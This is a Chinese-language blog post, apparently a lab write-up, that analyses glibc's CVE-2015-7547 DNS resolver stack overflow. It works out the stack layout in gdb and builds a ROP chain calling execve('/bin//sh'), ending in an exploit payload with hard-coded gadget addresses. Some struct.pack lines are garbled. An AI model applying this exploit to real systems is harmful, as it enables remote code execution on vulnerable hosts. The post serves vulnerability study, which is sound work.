FavoriteLoading
0

CVE-2015-7547分析及利用

0x01 分析
这个漏洞分析及如何搭建测试环境k0师傅在seebug上以及mrh大神在drops的文章都写的非常详细,在下面参考中附上了原文地址。我就站在巨人的肩膀上写一些自己在7547分析上的一些环节。本文的重点是后续如何去编写列用exp,为了编写exp在调试中需要弄清楚很多事情,包括劫持eip的位置,栈空间布局等。下面我们就一一道来。
1.寻找漏洞触发点
谷歌给的POC很长,运行POC后gdb调试,追寻漏洞出发点。
根据漏洞触发流程,在阅读源代码后,我们分别对以下函数下断
$b _nss_dns_gethostbyname4_r (/opt/glibc-2.20/resolv/res_dns/dns-host.c)
$b __libc_res_nsearch (/opt/glibc-2.20/resolv/res_query.c)
$b __libc_res_nquery (/opt/glibc-2,20/resolv/res_query.c)
$b __libc_res_nsend (/opt/glibc-2,20/resolv/res_send.c)
$b send_vc (/opt/glibc-2,20/resolv/res_send.c)
后面是源码位置,方便大家阅读。
在send_vc停下后,我们用bt看下调用栈:

一切正常,finish完成此函数,发现poc窗口发送了请求,同时再看栈段发现


在send_vc源码中,主要问题出现在这里


结束send_vc后,通过单步调试n,锁定在nquery中这几行的

我们知道了第二次POC发送的数据才是造成溢出的关键所在,google的验证POC中第二次发送的数据加上了2300个B,也就是我们后续编写利用exp大施拳脚的地方

2.寻找可被劫持的EIPEIP位置
我们知道,想劫持程序流程就要去劫持EIP,劫持EIP就要找ret。所以我们首先要弄清整个的栈布局。
我们在gethostbyname4_r函数中运行完分配空间这行代码后

直接打印这个变量

这个就是我们2300个B的所在的起始位置,我们溢出后来看一下

这也就是我们的栈顶,那么返回地址在哪儿呢?只要在gethostbyname4_r中在分配这2048之前打印下esp就知道啦

剪头指向的就是我们要劫持的EIP处。
目前已知的栈空间如下

中间那堆????是否要弄清,我们来做个试验,发送小于(2048 + 108 )2156 个B,在不覆盖Ret的情况下,程序能继续执行吗?
修改poc,发送2150个B,run

发型程序并没有继续中断,这说明栈空间中的“????”区域还是有要用的参数的,这个大坑就需要慢慢来填了………
这里有一点要注意,我们上面这个图中栈的地址是gdb调试环境,和真实环境是不一样的,但是栈的布局和真实环境是一样的,所以我们只需要在真实环境下看下dump下来的core文件找到栈头的起始地址,再根据差值计算其他的就可以了。

发现真实环境下的栈顶为0xbfffe240,与gdb下的0xbfffe220差了0x20。
继续去探查栈空间
3.摸清栈空间
我们可以看到停在这一行

再看nquery源代码可发现

此处有对hp和hp2的非零校验,
我们现在要找到hp和hp2所处的位置以及它们的值,finish完send_vc后,单步调试执行到assert这个语句把两个变量都打印出来

这时候我们在栈空间中去寻找

以此发现它们分别存在于0xbfffea68以及0xbfffea6c处。
以此我们可以用bfffea68减去bfffe220就可推算出和栈顶的偏移量,现在我们重新构造POC,将该位置处的hp和hp2的值就赋在上面
但依然退出未继续执行,还得继续探寻这段栈空间。
我们在gethostbyname4_r源码中可以看到

这段代码用来检测是否在整个函数执行过程中,申请了新的栈空间。根据源代码以及调试过程,这个ans2p就是我们之前的hp2,这个在通过了之前的nquery中的非零验证,但此处的free依然会出错,所以我们不能让if(ans2p_malloced)这个条件成立,那么我们就要找这个ans2p_malloced是存在什么位置的,并把它置0.
看源代码

在看源代码的时候看到之前下断点的函数的参数就有ans2p_malloced等,我们只要在函数暂停的时候直接看它传进去的参数就好。再次修改POC为正常,然后调试

可以很清楚的看到gdb调试态下,ans2p_malloced以及其它参数在栈中的地址。
说到这儿就有点乱了,现在我们再来画出我们的栈结构,以方便各位看管参阅:

根据栈布局我们再次修改POC,然后run

然后但是此时host_buffer到ret这段栈空间我们还没有摸清,是否可以直接覆盖掉呢?我们先尝试用B覆盖掉看看能不能正常执行,修改POC,run

依然报错,看来这段地址上的参数还是有用的,继续在正常情况下查看栈中这些值都是什么。

分别指出了hp和ret中间的这些参数。虽然不全知道这7个数都是干啥的(最后一个是ebp),但是直接把他们加进POC。发现程序可正常运行=。=

其实后面还有一个坑:(我们在后面exp编写的时候再说
0x02 exp编写
现在我们的栈空间是这样的

同时看下我们开启的防护

由于能力有限,不知道怎么泄露基址,所以没有开启ASLR,通过ROP的方式绕过DEP,写这条ROP链非常有意思,碰上了件很神奇的事,完全无法解释,但索性想了个法子给绕过去了:)
下面我们开始年轻人的ROP链编写
1.Shellcode写啥
很简单,我们就是要在劫持程序流程后执行这么一条命令“execve(“/bin/sh”,argv_rc, envp_rc)”
其中后面两个参数都为0即可。
在执行这条系统调用的时候,我们要知道Linux把这几个参数分别存在ebx, ecx, edx。所以我们构造这样的栈环境,在int 0x80时:
Ebx: “/bin/sh”的地址
Ecx: “argv_rc”的指针
Edx: “envp_rc”的指针
同时我们要知道execve()的系统调用号

要吧eax的值为11也就是0xb。
所以我们的ROP链将围绕设定上述环境展开!
2.ROP链编写
在编写ROP链之前我们先要查看程序都调用了哪些库,他们的起始地址是多少
$ps -aux | grep client
$cat /proc/xxxx/maps
Xxxx就是PID,我们选择libc-2.20.so和ld-2.21.so

它们可执行段的起始地址分别是b7e37000和b7fdc000。
首先我们将把“/bin/sh”写入一个可读地址,这里要注意一点,因为”/bin”就一定达到4字节,所以要把它们分开写到两个连续的4字节地址,同时“/sh”中有00,会截断后面的语句,所以我们把它换成等效的“//sh”。

找一个可读段,“.data”段当然是我们的不二之选

.data的起始地址:0x0804a028就非常合适,+4以及+8都不存在00。
所以我们构造如下语句:
pop ecx; pop eax; ret;
/bin
0x0804a028
mov [eax],ecx; ret;
pop ecx; pop eax; ret;
//sh
0x0804a02c
mov [eax],ecx; ret;
我们使用自动化ROPgadgets搜索工具ropeme搜索我们想要的指令,打开ropshell,先用generate分析libc-2.20.so这个库

然后直接search我们需要的gadgets

每一条指令前面的是其在库中的偏移地址,通过之前记录的libc的基地址加上偏移地址,算出真实地址。就不一条条演示了,熟练使用calc:)
然后就是把ecx和edx赋值,由于之前我们在.data~.data+4存了我们的“/bin//sh”,我们可以看看.data+8地址上是啥:

非常完美,于是我们编写如下语句
pop ecx; pop edx; ret;
0x0804a030
0x0804a030
然后把“/bin//sh”的地址传入ebx
pop ebx; pop edx; ret;
0x0804a028
0x0804a030
由于我搜到的是ebx和edx连着pop,要是能搜到只pop ebx的当然也很好!
环境已经调的差不多了,最后开启系统调用,语句如下
xor eax,eax; ret;
add eax,0xb; ret;
int 0x80; ret;
到此为止我们的shellcode为:
pop ecx; pop eax; ret;
/bin
0x0804a028
mov [eax],ecx; ret;
pop ecx; pop eax; ret;
//sh
0x0804a02c
mov [eax],ecx; ret;
pop ecx; pop edx; ret;
0x0804a030
0x0804a030
pop ebx; pop edx; ret;
0x0804a028
0x0804a030
xor eax,eax; ret;
add eax,0xb; ret;
int 0x80; ret;
我们通过ropeme计算出他们的地址后,写入POC测试:

发现问题,程序流程为成功劫持。
Bt查看回溯,发现在gaih_getanswer处的几个参数怎么是我们的rop中的语句呢

我们这几条语句都被当做参数传了

我们再次修改POC为正常,再次调试程序

我们正确执行这行之后,查看栈中参数

我们从EIP位置往后数7个,这7个参数会被传入gaih_getanswer,所以在ret地址之后的栈空间布局如下:

现在栈空间布局就非常明了了,再看源代码

为了跳过这7个参数,我想到的版发是在原来Ret addr位置中的指令直接去修改esp

add esp,0x1c; ret;
好了,再度修改POC,run

终于,程序执行到了我们的ROP! 但是此处要注意,在本该是传“//sh”的位置,却传的是‘.’,刚开始以为是peda的错,后来尝试修改POC中的//sh为其他,都是这个“.”,完全不知道为什么,直到最后系统调用时依然如此

这个坑坑了我半天……最后多次调试后发现只有在第一次传字符串后的第4行指令处出现问题,到现在依然不知道为什么出现这么奇葩的栈环境,最后自己无奈想了个法子,把原来的ROP变成了以下这种方式,成功绕过=。=
pop ecx; pop eax; ret;
/bin
0x0804a028
mov [eax],ecx; ret;
pop eax; ret
/bin
pop ecx; pop eax; ret;
//sh
0x0804a02c
mov [eax],ecx; ret;
最终修改POC如下
if data2:
      data = ''

      data += dw(id2)

 data += 'B' * (2106)
      data += dw(0) * 2
      data += 'B' *(8)
      data += struct.pack(',0xbfffe220)
      data += struct.pack(',0x0804c3a8)
      data += struct.pack(',0x00000004)
      data += struct.pack(',0xbfffea70)
      data += struct.pack(',0Xb7f8351a)
      data += struct.pack(',0xb7fd3000)
      data += struct.pack(',0xb7e24314)
      data += struct.pack(',0x00000420)
      data += struct.pack(',0xbfffefd8)
 
      data += struct.pack(',0xb7e4e667)
 
      data += struct.pack(',0x08048653)
      data += struct.pack(',0xbfffefc8)
      data += struct.pack(',0xbfffeac0)
      data += struct.pack(',0x00000420)
      data += struct.pack(',0xbfffefc4)
      data += struct.pack(',0xbfffefb0)
      data += struct.pack(',0x00000000)
 
      data += struct.pack(',0xb7f18d91)
      data += '/bin'
      data += struct.pack(',0x0804a028)
      data += struct.pack(',0xb7e6023f)
      data += struct.pack(",0xb7e59848)
      data += '/bin'
      data += struct.pack(',0xb7f18d91)
      data += '//sh'
      data += struct.pack(',0x0804a02C)
      data += struct.pack(',0xb7e6023f)
 
      data += struct.pack(',0xb7e6099b)
      data += struct.pack(',0x0804a030)
      data += struct.pack(',0x0804a030)
 
      data += struct.pack(',0xb7f20f0a)
      data += struct.pack(',0x0804a028)
      data += struct.pack(',0x0804a030)
 
      data += struct.pack(',0xb7eaa424)
      data += struct.pack(',0xb7f66756)
      data += struct.pack(',0xb7fdca70)
运行效果:

完成
由于我是今年年初才开始接触二进制,还在不断学习中,和诸多大牛还差的很远,感谢k0师傅对我的指点,下一步要尝试调一个堆相关的CVE以及x64下的调试:)

【声明】:8090安全小组门户(http://www.8090-sec.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱hack@ddos.social,我们会在最短的时间内进行处理。